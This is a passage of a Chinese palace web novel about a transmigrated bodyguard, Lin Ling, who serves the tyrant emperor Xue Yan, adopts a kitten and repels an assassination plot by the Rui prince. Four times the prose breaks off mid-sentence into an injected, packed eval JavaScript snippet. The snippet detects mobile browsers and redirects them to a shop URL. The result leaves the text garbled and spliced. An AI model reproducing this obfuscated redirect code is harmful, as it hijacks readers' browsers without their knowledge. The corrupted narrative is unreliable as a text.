薛琰满脸兴味,平时满是凶狠戾气的眼此时却微微睁大,倒是难得的有了点少年气。 她挑挑拣拣半回答半敷衍地跟薛琰对清楚了自己现在的情况。 薛琰摸着下巴,张嘴就是熟悉地挑衅:“你是说朕原本杀伐果决又机敏的贴身暗卫,现在变得什么都不知道,连衣服都穿不好了啊。” 林零懒得搭理他,睁着死鱼眼丝滑敷衍:“陛下饶命。” 薛琰与她对视,脸上的笑意慢慢褪去,双眼微眯起,方才还显得有些吵的寝宫安静下来。 她察觉到薛琰突如其来的情绪变化,但她已经懒得管,更懒得想为什么这狗皇帝又不开心了。 林零舔了舔后槽牙卡住的药,无所谓地想到:这祖宗变脸快得很,有本事就直接搞死她好了。 恢复平日状态的薛琰盯着地上面无表情,浑身散发着摆烂气息的女人,有些忍耐地搓了搓手指。 林零半天没有听到动静,抬头看了看,察觉到这狗皇帝又要犯病,她有些无奈地叹了口气。 说真的,要杀要剐能不能干脆点,她坐在这里也很累的。 于是,正要犯病的狗皇帝就眼睁睁地看着眼前的女人叹了口气,在他面前缓缓地躺下了。 ……? 躺下了? 林零双手交叠放在小腹上,整个人直挺挺地躺在地上,如果不是还睁着的双眼和仍在喘气地胸膛,简直要叫人觉得她已经安详地离开了这个世界。 薛琰活了二十年至今,尤其是自八年前登基之后,他从未见过有哪个人行事风格像是她这样,这样的……令人不知从何说起。 这一打岔,他心中杀意消散,嗤笑一声开口道:“滚起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489356|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别在朕这里睡。” 林零依旧安详,恍若未闻。 薛琰想了想,无奈再开口:“你暂且回去休息,晚上再来当值。” 林零手抖脚抖但动作灵敏地起身行礼:“谢陛下”,说完便头也不回地退出殿外,整套动作行云流水,丝毫不见停顿。 待她一溜烟退下,薛琰开口唤人,宫人们纷纷进入,一切如常。 …… 睿王府内。 睿王端着茶盏坐在书案前,面前端坐着一位中年男子。 中年男子面色凝重,开口道:“父王!那薛琰定是察觉了什么,前几日,就因为庄侍郎与人争辩时声量过大,将两名官员一同流放,可结果呢?即便是流放,那也是国家重臣!路遇山匪,死无全尸?简直荒谬!还有李大人,他……” “汶儿。”,睿王轻啜茶水,不紧不慢地打断:“察觉又如何,他憎恨我们的血脉,即便我们什么都不做,那疯子也不会放过我们。当年薛旻就是个疯子,他养出来的儿子更是如此。自薛琰登基开始,处死了所有的皇子公主,若不是本王还有点手段,皇室血脉就要被他屠尽了。” 薛汶拳头紧握,猛地一锤书案:“他憎恨血脉?他薛琰是所有皇子里最像他那个疯子爹的,既是憎恨,他怎的只对旁人下手,就能忍受自己一身脏污臭血了?” “就是因为太像了”,睿王薛晁放下手中的茶杯,缓缓道来:“当年有个厉害的江湖方士跟着述职的官员回了京,又被献给了薛旻,那方士使了些歪门邪道,唬住了他的眼,又胆大包天地声称自己有法子能让人修得长生,竟是哄得堂堂天子对一介江湖方士言听计从。” “那方士从此便在宫中兴风作浪,开始时不过是炼几炉寻常丹药,要一些草药钱财。再后来,那方士索取的材料便愈发诡异,最后竟是提出要拿活人炼丹。当时那狗皇帝真是无有不允,宫人、平民、甚至朝臣家的儿女,都有可能被抓去入药。” “一炉一炉的药炼出来,薛旻的身体却是一日比一日差,脾气也一日比一日癫狂。终有一天,他犯病发怒,要砍了那招摇撞骗的术士。那术士却在此时说要炼制一味活丹,以血亲的血脉入药生气为引,日日服用可永葆青春。薛旻最后给了术士一次机会,术士从一众皇子中挑走了与皇帝最为相像的薛琰。那薛旻在服用血液之后,身上的病情却偏偏真的有了好转。自此之后,薛琰便不再是皇子,更不再是个人,在这宫中被圈养起来。” “直到那一场大火,他拿着传位圣旨,拎着他疯子父亲的头走出太极殿,又烧死了宫中五名皇子……” 薛晁叹了口气:“那薛琰比他爹疯的更甚,知道这些事的人差不多也都死完了,眼下更重要的是要尽快推进我们的大计,李玄秋死了就死了,户部尚书的位置我们一定不能拱手他人。” 薛汶从震惊中回过神张了张嘴,勉强说道:“父王,还有那个跟在薛琰身边的女人,她那边……” 薛晁神情阴鸷:“尽快动手吧,那女人留不得,之后还要再给我们的皇帝陛下找点事情,在关州那边挑起事端……” 薛汶点头应下:“儿子明白。” 父子二人在这暗室中商讨完毕,其中一人便趁着夜色匆匆离去。 5. 第5章 当妈了 等林零休整一番,来到养心殿的时候,薛琰已经在宫人的伺候下洗漱更衣。 见林零像平日一般面无表情的走进来,薛琰勾了勾唇角没多说什么。 等到宫人们都退下之后,林零躺在自己的小榻上松了口气,以为今天就要这样度过。 直到已经阖上双眼后黑暗中感受到了熟悉的注视。 ……还有完没完啊!!! 已经暂停营业的林零闭眼装死,黑暗中却又传来了幽幽的男声:“林零。” 林零充耳不闻。那男声继续道:“……别装了,朕知道你醒着。” 林零强行安然入眠。只听那男人叹了口气,空气中传来布料摩擦的窸窣声,接着像是赤脚踩在地上,一步步地向她的方向走来。 暗卫久经训练的身体本能令她浑身不自在,强撑着闭着眼,本就敏锐的感官更加清晰地捕捉到薛琰的一举一动,直到呼吸声从正上方传来。 林零终于装不下去睁开眼。 还是熟悉的夜晚还是熟悉的男鬼,薛琰站在她的榻前,俯下身居高临下地盯着她的脸。此时林零一睁眼便被他抓了正着。 见她睁眼,薛琰好心情似的挑了挑眉:“怎么不装了?” 林零面无表情地闭上双眼,真心希望刚才眼前的薛琰是她今天累懵了产生的幻觉。 心里默数三秒再次睁开眼,眼前还是薛琰那张鬼气十足却难掩俊秀的脸,而且不知是不是她的错觉,总感觉这神经病笑的越来越开心了。 认命般叹了口气,林零敷衍营业:“陛下,您有事吗?”,演技僵硬,语调平淡,看得出当事人根本没走心。 薛琰蹲下身,两人的距离一下子拉近,林零身体的本能再一次叫嚣着攻击或是后退,想要与眼前之人拉开距离。可终究还是忍了下来,原因无他,深秋夜凉,林零的被窝才刚刚捂热。 “朕突然想起一件事想要问问你。”,薛琰靠近她的耳边,几乎是用气声耳语:“前日傍晚,你去了何处?” 秋后算账,这一词在她脑海里下意识闪过。 虽然已经说过了但是……还有完没完啊!!! 若是昨日,林零或许会害怕惶恐求生欲爆棚,绞尽脑汁瞒住这件事情的真相。但现在就不一样了,管他什么睿王,什么谋反,已经彻底摆烂的她现在根本懒得掺和他们权谋斗法。 大不了就先下手为强,她破罐破摔地想到。 所以面对薛琰阴森森的提问,林零依旧窝在自己温暖的被窝里,直勾勾地盯着房梁满脸平淡,用非常随意的语气说出足以满门抄斩的回答。 “我去见睿王派来接头的内侍。” ……? 由于林零回答的理所当然又坦荡,薛琰一时间没反应过来话语中的含义。 待他理解过后,安静了片刻,突然伸出手将林零的头转向自己,盯着她的神情。 林零的反应和态度着实是让他意料不到,像是试探更像是好奇,薛琰再次开口提问:“你们接头说了什么?” “他们要我当晚杀了你,事成之后放我自由”,依旧平稳坦荡。 “那你为什么不杀朕。”薛琰诚心发问,嘴角的笑意并未消失。 林零满脸莫名其妙:“我为什么要杀你?” 两人都没有再说话,寝宫里归于寂静。四目相对间,彼此呼出的热气交织,薛琰脸上笑意蔓延,眼睛也微微睁大,像是看到了什么稀奇事。 林零觉着有些眼熟,这狗皇帝上一次摆出这幅表情的下一步,就是要一直拉着她问东问西。 想到这里,为了自己宝贵的睡眠时间,她开口试图打断薛琰的技能读条:“陛下英明神武,奴对陛下忠心耿耿,天地可鉴,怎么会受那些乱臣贼子蛊惑,对陛下……”做出如此大逆不道之事。 话还未说完,便被一阵笑声打断。 薛琰像是听到什么极度可笑的话,控制不住地原地爆笑,笑得全情投入真心实意,以至于像是难以承受这股笑意一般,整个人趴在了林零的床边,将头伏在她的颈边,发丝随着笑声一抖一抖地拂过她的脖颈。 林零目光呆滞地盯着眼前笑成一团的皇帝,她是真的困惑,他们这里当皇帝的前提难不成是要有病例吗? 而且这大晚上,夜深人静,你笑得好大声!扰民了啊喂!!! 她心里骂骂咧咧,感受着狗皇帝毛茸茸的脑袋窝在颈边。 脑海中不由得想起了还在现代当社畜的时候,朋友有一只很亲人的边牧犬,每次去朋友家做客的时候,都要摇着尾巴扑进她怀里拱来拱去。 她这边还在发散思绪,薛琰终于笑够了抬起头,直勾勾的盯着她。林零强撑着跟他对视片刻,实在没忍住打了个哈欠。 狗皇帝一挑眉:“你很困吗?”,林零并未回话,只是她的眼神里却明晃晃的写着两个大字:废话。 薛琰见状嘴里无声的嘟囔了一句,伸手扶着榻站起身,又盯着林零看了两眼,最终还是什么也没说,晃晃悠悠地回到自己床上睡觉。 林零懒得多想,她只知道今天这茬总算是过去了,就这样沉沉地睡去,一夜无梦。 第二日一早,一切照旧进行,除了明德公公一直用诡异的眼神盯得林零背后发毛以外,所有的一切都是令人感动的安宁。 至于薛琰,他也没在作妖,只是时不时地看她两眼,不痛不痒,直接无视之。 上朝之时也并无意外发生,虽然依旧是有朝臣相互争吵,但好在没有谁被薛琰摆摆手拖出去。 在林零彻底摆烂,以一种大不了就离职的心态过日子之后,工作环境突然就好像要安稳起来了,真好。 用过午膳以后,薛琰像是突然来了兴致,带着一众宫人,说要去御花园中赏景,到了之后却又找了个亭子一坐,像个大爷一样使唤宫人到处折枫叶。 折下的枫叶一枝一枝被呈上来,摆在他面前,薛琰伸着指头挑挑拣拣,又让宫人们滚去重新折。 好在这帮需要折枫叶的宫人里没有林零,她站在薛琰背后实在看不出这堆枫叶有什么区别,也怕这狗皇帝转头折腾她,只好默默降低存在感,看着他好一通折腾。 折腾了一会儿,一名内侍匆匆来报:“陛下,魏丞相求见。” 薛琰只顾着拨弄,头也不抬:“传。” 不久后,内侍去而复返,带来的老者正是前日在朝堂上争吵的二位之一。 见魏丞相来,薛琰挥了挥手让宫人们退下。林零也混在宫人们之间,丝滑的挪出了凉亭。察觉她的动作,薛琰抬头瞥了她一眼,并未多说。 推出凉亭后,林零熟练地在薛琰视角盲区找了个位置开始心安理得地摸鱼。 她左瞧瞧右看看,不得不说,这御花园的确是美景怡人,日光洒落,枫叶灼灼,风过处簌簌轻响,落下满地碎金。 美景,微风,老板眼皮子底下理直气壮地摸鱼,林零觉着自己又可以了。 簌簌——簌簌—— 身后传来了踩过落叶的细微声音。 林零微侧过身,身后只有一片红火的枫树和一些已经发黄的低矮灌木。 簌簌——声音未停,像是还在朝着她的方向靠近。 林零凝神注意,听着声音愈发接近。 然后她蓄势待发严阵以待地看见灌木中钻出一个小黑团子。 是一只巴掌大点的小奶猫! 说是小黑团子其实也并不确切,小猫浑身黑色,但唯有四只猫爪雪白,像是带着白手套。 宫中为防鼠患,会安排宫人养些猫用来捕鼠,这应当是御猫产下的小猫,竟不知怎的跑到了这里。 那小奶猫翘着尾巴,一扭一扭的朝林零走去。然后蹭过她的裤脚,屁股一撅,整只猫瘫成猫饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489357|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒在她的鞋面。 林零实在禁不住诱惑,她飞快的瞄了一眼明德公公和薛琰那边的两人动向。 她明面上的身份好歹也是皇帝的贴身女官,与旁人又隔了点距离,在场的人里面,她只需要小心注意这三个人就够了。 很好,没人注意到她。 林零飞快弯腰,一把捞起小猫揣在怀中。 嘿嘿嘿,捡了只猫家人们,它想跟我回家! 薛琰似有所觉回过头,就看到林零双手交叠放在身前,脊背挺直,眼神清明,一副认真勤勉的上进模样。 呵!林零?勤勉?他一看就知道不对劲,再盯着她细细看了几眼,果不其然的从她的眼中品出一点心虚。 正要进一步追究,被无视的魏丞相终于忍不住出声。 “陛下?”,魏丞相难以理解地盯着突然为林零转身的皇帝陛下。 薛琰瞥了一眼被晾在一边的老臣皱了皱眉,若无其事地转过头:“无事,你继续。” 见薛琰转过身,林零低头偷偷看着团在自己手心的奶猫。 小小的,暖暖的,软软的。 啊啊啊!是小猫啊! 心里疯狂尖叫,林零艰难地维持着面无表情,嘴角难以控制地上扬。 于是乎,薛琰和魏丞相那边老板高管办公开会,林零这边跟小猫快乐贴贴。 打工人的快乐就是这么的朴实无华,但快乐的时光也着实短暂。 不多时,魏丞相起身向薛琰行礼,林零意识到两位领导开完会,不舍地看了眼在她手心打着呼噜踩奶的小猫,最后撸了两把,运起内力,使着巧劲将小猫一送,那小黑团子便落在落叶堆中,被层层红叶淹没。 薛琰与魏丞相商讨完之后,看着眼前的一堆枫树枝,也没了兴致,随意招了招手,大太监明德便心领神会走到皇帝跟前递上帕子:“陛下可是要回去了?” 薛琰擦完手微微颔首,明德公公便躬身扬声道:“摆驾御书房——” 接着便如来时那样,林零跟在他身后,一众人原路返回。 那落叶堆中的小猫连滚带扒拉,好不容易把自己刨出来,左右看看,方才的人找不到了,气味也淡的要散了。 小猫迷茫,小猫难过,小猫张嘴:“喵嗷嗷嗷嗷嗷嗷嗷——” 没走几步听见小猫拉警报的林零:…… 薛琰也听见了,他停住脚步一转头,视线精准地锁定在林零身上。 众人停下脚步,不明所以地环顾四周:“哪来的猫叫啊?”,接着便有眼尖的宫人看到了落叶旁的小黑团子:“在那边!” 小猫一边拉着警报,一边嗅着气息,在众人的注视下一扭一扭地朝人群靠近。 “林零”,薛琰嘴角挂着戏谑的笑,揣着明白故意问道:“这里怎么会有只猫啊?” 林零觉着他好像又要犯病:“奴不知”,她只希望薛琰不至于那么畜生,会对一只奶猫下手。 薛琰不说话,转头看着那还在找人的黑团子。 小猫已经循着气味,看到了站在宫人中的林零,迈开爪子,小跑几步便扑到林零跟前,屁股一撅,又是一滩猫饼。 身边传来一声嗤笑,刚说完不知道就被小猫打脸的林零:…… 她观察着薛琰的神色,思索着开口:“陛下……” 话刚说出口就被打断,薛琰嫌弃开口:“真脏。” 原本黑亮的小猫在落叶堆中滚了一圈,整只喵都变得灰扑扑的,只一个照面就得到了暴君的嫌弃。 林零有些心虚的瞅了眼脏脏小猫,正要接着开口,就听到薛琰对着自己说了一句:“带上,走吧。” 她看了看扔下一句话转头就走的薛琰,又看了看冲她笑出一脸褶子的明德。 弯腰捞起猫,跟在薛琰身后。 嘿嘿嘿,捡了只猫家人们,它要跟我回家! 6. 第6章 多像你 林零揣着猫,跟着一众人来到了御书房。 小猫在她怀里呆得安稳,倒也没有再拉警报。 等众人进了殿内,薛琰招来一个宫人:“带下去把它洗干净。” 林零心下微松,宫人应声走到她面前,想要从她手中接过灰扑扑的小猫。 刚一离开熟悉的怀抱,小猫就开始蹬腿挣扎。宫人赶忙一手搂住小猫的身体,一手按住小猫的后颈。小猫见挣扎不脱,一张嘴就要开嚎。 林零眼疾手快,一伸手捏住猫嘴,她悄悄撇了一眼撑着手虎视眈眈的薛琰,有些后怕地用指尖点了点猫头,又劈头盖脸地揉了两把,心里祈祷这小祖宗可别在薛琰眼跟前拉警报。 毕竟前阵子在朝堂上刚有俩朝臣因为嗓门大被拖出去。 惴惴不安的松开手,林零和宫人都稍停了一下,见小猫没在闹腾,两人松了一口气,才各自行动起来。 她回到自己平日的位置,刚一站定就听到熟悉的阴阳怪气。 “你与这狸奴倒是有缘分”,薛琰把玩着一枚玉环,长长的流苏顺着他的手腕垂下,显得贵气而优雅。 林零抿了抿唇,收回视线,一脸恭敬纯良:“谢陛下夸奖。” 作为一名合格的资深社畜,她早已掌握应付领导的核心技能——左耳进右耳出!面对薛琰这种杀伤力极强的狗比领导,平日里这种不痛不痒的招数,林零当然是直接无视掉。 薛琰轻哼一声不再说话,翻开书案上摆好的奏折开始批阅,御书房中一时间只剩纸张的摩挲声。倒是一派难得的宁静祥和。 他平日在朝堂上虽不管事,但奏折还是会看的,眼下关州干旱,里面十篇有九篇都是关于此事。 薛琰翻着奏折,脑海中想着魏丞相方才汇报之事,心中冷笑。 还真是他的好皇叔,知道这阵子他没怎么砍人,怕他日子过得无趣,还特地准备了不少乐子。 “睿王”,薛琰心中默念,缓缓搓动手指,眸色黑沉。 感官敏锐的林零背后一凉,偷偷抬头撇了一眼,心底微微崩溃。 不是吧大哥,谁又惹到你了?? “喵嗷嗷嗷嗷嗷嗷——” 突如其来的警报吓得林零心头一跳,她一抬头正好与薛琰的视线撞了个正着。 有种自家孩子捣蛋搞出大动静,又被邻居前排围观的尴尬感。 “喵嗷嗷嗷——” 薛琰挑了挑眉,夸了句:“嗓门挺大啊。” 林零忍住想要擦把汗的冲动:“谢陛下夸奖。” “喵嗷嗷!” 薛琰奏折也不看了,听着殿外传来穿透力极强的嚎叫,盯着林零不说话。 “喵嗷!喵嗷!喵嗷!” 林零崩溃:别叫了小祖宗!你是电动车吗!!叫的这么有节奏还分阶段的!!! 不多时,叫声消失,宫人抱着刚洗完澡的黑团子回到殿中。 薛琰招手:“拿过来。” 宫人走近,看着堆满奏折的书案,不知道要将猫放在哪里。 薛琰抬眼:“怎么?要朕请你。” “奴不敢!”,那宫人吓得浑身一抖,咬牙直接将怀中的猫往奏折上一放,躬身退下。 小黑团子刚一踩到实处,就浑身毛发竖起,冲着薛琰就是一声:“哈——” 林零浑身警惕,暗自想好这狗皇帝要是图谋不轨,她就冲上去把他一脚踹飞。 薛琰嘴角上扬,伸手一拨,将炸毛小猫整个掀翻在书案上。 小猫四爪朝天,圆滚滚的身体在桌上扭动。每当它马上要翻过身的时候,薛琰就再伸手扒拉两下。 方才真的险些冲出去的林零:…… 这股子手欠的劲真的很像她上小学的侄子。 林零看着小学鸡薛琰欺负炸毛小猫,小猫努力好半天都没能翻过身,躺在桌面一边扭动一边发出细嫩的猫叫声。 薛琰:“怎的跟方才听到的不一样了?这狸奴还有两幅面孔?” 伸手又扒拉了两下,书案上的小猫似乎已接受了自己的命运,整只猫肚皮朝上,直愣愣的躺在书案上。 薛琰看得啧啧称奇,冲着林零说道:“难怪这狸奴与你有缘,这模样简直跟你一模一样。” 林零捏了捏拳头,咬牙无视之。 薛琰见她不应声也不恼,拿出方才把玩的玉环,用垂下的流苏在咸鱼小猫脸上来回拂过。 “喵嗷!”,躺平装死的小猫一个翻身,整只猫站立而起,两只前爪交替伸爪,试图勾住被薛琰突然拿高的流苏。 薛琰一手托腮一手抬起逗猫,转头冲着她一脸得意:“看吧,一模一样。” 他〇的,这人到底有完没完? 薛琰乐呵呵地看着林零满脸不服气,心中的暴躁消散了不少。 他将玉环往小猫怀里一塞,顺势将手覆上猫肚子。 那小猫嘴里叼着流苏,顾不上冲薛琰哈气,就这样结结实实的被揉了两圈。 这不就是很像吗?薛琰心中想道,胆子这样小,稍微吓一吓就龇牙炸毛,被逼急了就一副听之任之的无谓模样。只要想些办法放松她的警惕,不一会就又能将自己哄得生龙活虎,活蹦乱跳。 真是有意思,一个人失忆会产生如此之大的变化,将人变成另一种人吗? 在他看来,林零跟从前简直是截然相反,相比失忆,他更愿意相信是传闻所说的那样,是不知哪里来的幽魂附在了林零的身上。 手上传来的微微刺痛唤回了他的思绪,看着抱着他的手指磨牙的小奶猫,薛琰抽出手,眼见小猫一张嘴又要开嚎。 薛琰眉头一皱:“林零。”,说罢伸手捏住喇叭小猫的后颈,将它甩进林零怀中说道:“别让它叫了。” 林零接住小猫,安抚似的摸摸猫头又捏捏猫爪,应声行过礼后,开始明目张胆地跟小猫贴贴。 嘿嘿嘿,小猫,嘿嘿嘿。 薛琰看着玩闹的一人一猫,冷嗤一声,唤来宫人将桌上被小猫滚得乱七八糟的奏折规整如初,拿起奏折接着看了起来。 薛琰翻一页奏折,小猫踩着林零的手臂扒在脸上和她贴贴。 薛琰再翻一页奏折,小猫在林零怀中被她的手指逗得喵喵叫。 薛琰换下一本奏折,小猫发出了响亮的呼噜声。 他将手中的奏折往书案上一摔:“林零!” 林零抱着小猫,一脸懵逼的行礼:“奴在。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489358|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛琰忍了又忍,深吸一口气:“把猫拿过来。” 林零走上前,脸上的神情明明白白地表现出一个意思:你居然馋我猫!? 将手中的小猫放在桌案上,薛琰伸手将小猫丢在一旁的矮榻上,眼见猫嘴一张,薛琰又将方才逗猫的玉环也丢了过去,小猫一下子被转移了注意力,整只猫扑在了玉环上。 薛琰这下满意了,他转头瞥了眼满脸控诉的林零:“退下吧。” 林零退回原位,心中骂骂咧咧。 …… 等到处理完政务,天色已然西斜,玩闹大半天的小猫已经在榻上睡沉,薛琰点了个宫人将小猫带下去照顾。 大太监明德向来做事周全,自打薛琰让林零带着猫一起走开始,就已经吩咐下去为小猫置备了房间和用品。 待宫人小心翼翼地将猫带走后,众人便如平日一般,伺候皇帝用膳。 林零趁着晚间休息的一小会时间,匆匆扒完饭,问过宫人去看了眼小猫。 小猫还没醒,但见猫房中猫窝、暖炉、软垫齐全,猫碗中也已经添好了生肉。 她这才放心,发现薛琰似乎并没有她想象中的那样变态。 等到夜晚熄灯后,林零心中想着这几日发生的事情。 短短几日,她算是已经经历过数次生死危机,过得比她整个上辈子还刺激。对于一个低精力社畜,实在是有点应付不来。 不仅如此,在她未来的日子里,朝堂动荡,暴君发疯,王爷追杀……光是她能够预想到的危机就已经让她两眼一黑,更不要提她的身份本身就是需要出生入死的高危职业。 还有昨晚薛琰手中的那枚奇异的琥珀,恐怕就是控制暗卫所谓的秘药了。那痛楚实在太过令人绝望,林零这辈子也不想再体会第二次。 但她又有什么办法呢,虽说她总想着大不了就先下手为强,可好端端的,哪有人不想好好活着。 而且今日,说实话,今日算是她穿来之后,过得最舒心的一天,虽说明知不太可能,林零还是心中暗自祈祷,接下来的日子能像今日一般安稳顺利。 就这样胡思乱想着,睡意渐渐来袭。 就在她马上入睡之时。 咚咚、咚咚。 林零猛然惊醒。她凝神细听,殿内安静,她和薛琰的呼吸声清晰可闻。 咚咚、咚咚。 是林零的心跳声,心脏有力急促地跳动,浑身的肌肉也不受控制地渐渐紧绷。自从进入这具身体之后,林零从未感受到如此心慌紧张的感觉。 她心中不详的预感渐渐强烈,难不成!? 林零伸手取出藏在矮榻暗格中的长剑,猛地翻身而起,直冲薛琰而去。 到了薛琰床前,伸手扯开帷幔,一低头竟是与他四目相对。 这神经病怎么大半夜又不睡觉? 不合时宜的吐槽一闪而过。林零伸手猛地将薛琰拉起,离开床榻的瞬间,两枚飞刀从窗外急射进来,钉在薛琰原先躺过的地方。 林零一手拉着薛琰一手将剑横在身前,带着他躲在角落,转眼间,一个又一个的黑衣刺客训练有素地翻窗而入,将两人团团围住。 林零:(一种植物)! 7. 第7章 动手了 咚、咚、咚、咚。 拉着薛琰的手无意识地收紧,心脏疯狂跳动,肾上腺素分泌,林零的大脑一片空白。 一名黑衣刺客率先动手,举剑朝他们二人刺来,林零将薛琰往身后一推。身体下意识地躲过那刺客刺来的一剑,闪身至他身侧,一掌拍下,那刺客便倒飞出去,撞到了寝宫另一端的墙面,又重重摔在地上。 林零见状一愣,瞅了眼自己的手掌:哇哦! 其余黑衣刺客相互看了看同伴,十分默契地举剑一拥而上。 林零回身揽住薛琰飞身而起,一脚踩在一名刺客头顶,猛地一借力,两人轻飘飘地落在了殿中央。 林零飞快地观察一圈,将薛琰放到墙边,主动举剑迎敌。 她原本是想直接借力逃出殿外,但又察觉殿外有人蹲点把守,只得强行迎战。 趁着众刺客重新调整站位,林零冲到其中一人身前,将其一剑抽飞后回身一踢,背后偷袭的刺客被踢了个正着撞到另一刺客身上,两人滚作一团。 身侧寒芒一闪,林零转身错步,反手格开兵刃,肘尖狠狠撞向其心口,用手中的剑狠狠将人抽飞出去。 其余暗卫已成包围之势,林零后撤一步,长剑出鞘,一剑挥出,一道剑气凝如实质,轰然横扫而出,眼前一片刺客全数倒飞出去,重重摔在地上。 “好了。”身后薛琰开口,林零猛然回过神,看着眼前横七竖八躺着的刺客一脸震惊。 她方才打斗时完全不敢有自己的想法,大脑一片空白,生怕影响了这具身体的本能发挥。但是真没想到啊,这身体自带的战斗托管这么厉害,竟是以一己之力,三下两下将这么多刺客打倒在地。 薛琰赤着脚走上前来:“来人”,话落,又一群黑衣人从窗外飞身进入。 ……原来她以为的刺客把守竟然是自己人吗。 林零瞥了眼黑衣人,脑中浮现的记忆告诉她,自己曾经也是他们中的一员。 原来是升职前的同事啊。 但令她觉得奇怪的是,按理说现在触发到核心关键词后应该解锁大片的回忆才对,可她的脑海中却只有零星的回忆碎片。 林零想不明白,索性不再多想,甩了甩手,方才那招帅是帅,用起来是真累人。 一群暗卫还是训练有素地将躺了一地的刺客捆绑打包。当然,大家都是业内人士,为了防止刺客自尽,进殿后的第一步就是卸了他们的下巴。 在一阵此起彼伏的“咔咔”声后,虽然大家想都不用想也知道这是睿王的手笔,但暗卫们还是将打包好的刺客抬去审讯。 其实林零自己没有意识到的是,这具身体的战斗本能其实也多多少少地受到了她的影响。寻常暗卫战斗都是力求使用最少的招数,费最少的力气让眼前的敌人失去行动的能力,如出手过重,死了也就死了,只要最后能留一两个活口便足够了。 但林零不是暗卫,她是在太平盛世长大的牛马社畜,即便平日里怨气再重,她也不会想着出手夺人性命,是以她方才的战斗方式其实可以称得上一句费力不讨好。 但在暗卫同行的眼中就不是这样了。 那些暗卫的职业生涯中,从未在哪一次打扫善后时见到全员活口的情况,这次真是前所未有的大丰收。 尤其是这位传说中的大人竟还是以一敌众,不仅护住了陛下,自己也毫发无伤!不愧是能被陛下选中的天才!!! 林零:杀人犯法,不敢杀人。 众暗卫:居然还炫技!真是恐怖如斯! 林零:怕疼害怕,扛起皇帝就跑。 众暗卫:不愧是天才!真是恐怖如斯! 林零:…… 众暗卫:恐怖如斯!!! 薛琰其实也有点懵,他身为一个招人恨的暴君,遇见的刺杀也不在少数,护卫他安全的暗卫都是一声不吭直接拔剑冲上去,一副不要命的样子。 这还是他头一次在遇刺时被人搬来搬去。 他过去曾经历过一些事伤了身体,虽不至于一步三喘但也需时常用药精心调养,因此并未习武。 林零带着他直接腾空而起,这种感觉对他来说新奇又陌生,但他并不讨厌。 不过……薛琰不着痕迹地瞥了一眼故作淡定的林零,嘴角微勾什么都没说。 等到一切复原如初,两人各自躺回床上的时候已是半夜。 明明好不容易可以休息,林零却在自己的矮榻上却翻来覆去睡不着觉。 她闭着眼,明明精神已经十分困倦但身体却异常地兴奋。 不对劲,十分有十二分的不对劲,这种浑身躁动像是身上长满刺的感觉她从未体会过! 从小到大,她的人生中只有熬夜没有失眠,可自从穿来这里,不过短短几天,她竟然已经失眠两次。 再想想明天还要早起上班,上班一站就是一天。 林零绝望.jpg 她再次忍耐着,小心翼翼翻了个身。 偷偷瞥向龙床的方向,感知到气息与平日相比并无变化,林零几乎羡慕地要流出眼泪。 她酸溜溜地想道:不愧是当皇帝的,刚经历完那么大场面的都能睡得着。 切! 即便林零再如何羡慕,也只能老老实实地睁眼到天亮。 暗卫久经训练的强健身体自是不会因为区区一晚没睡就劳累困倦,但是林零会。 这具身体所匹配的精神是来自现代的社畜林零,依旧保留着现代生物钟的惯性影响。 即便身体精神抖擞,但一晚不睡给林零的精神带来了强烈的困倦感。 当她的身体渐渐冷静不再亢奋,整个人也就变得昏昏欲睡起来。 伺候薛琰起床、围观上朝、陪薛琰逗猫办公。 一切都寻常如同往日,这样平静的生活正是林零所渴求的,但这份平静也让她更加犯困。整个上午她都感觉自己真真就像是一缕幽魂,跟在薛琰身边飘来飘去。 值得一提的是,喇叭小猫好似习惯了周围的环境,并没有再像之前那样一言不合就拉警报。 薛琰不知是不是忘记了,完全没有要给小猫起名的打算,众人就只能御猫御猫地叫着,但林零心中会偷偷地叫它煤团。 林零这样身体在前面走,魂在后面追的状态一直持续到下午,不是不再犯困了,而是直接坚持不住了。 薛琰不知抽哪门子风,好端端的屋里不呆,偏偏要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489359|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 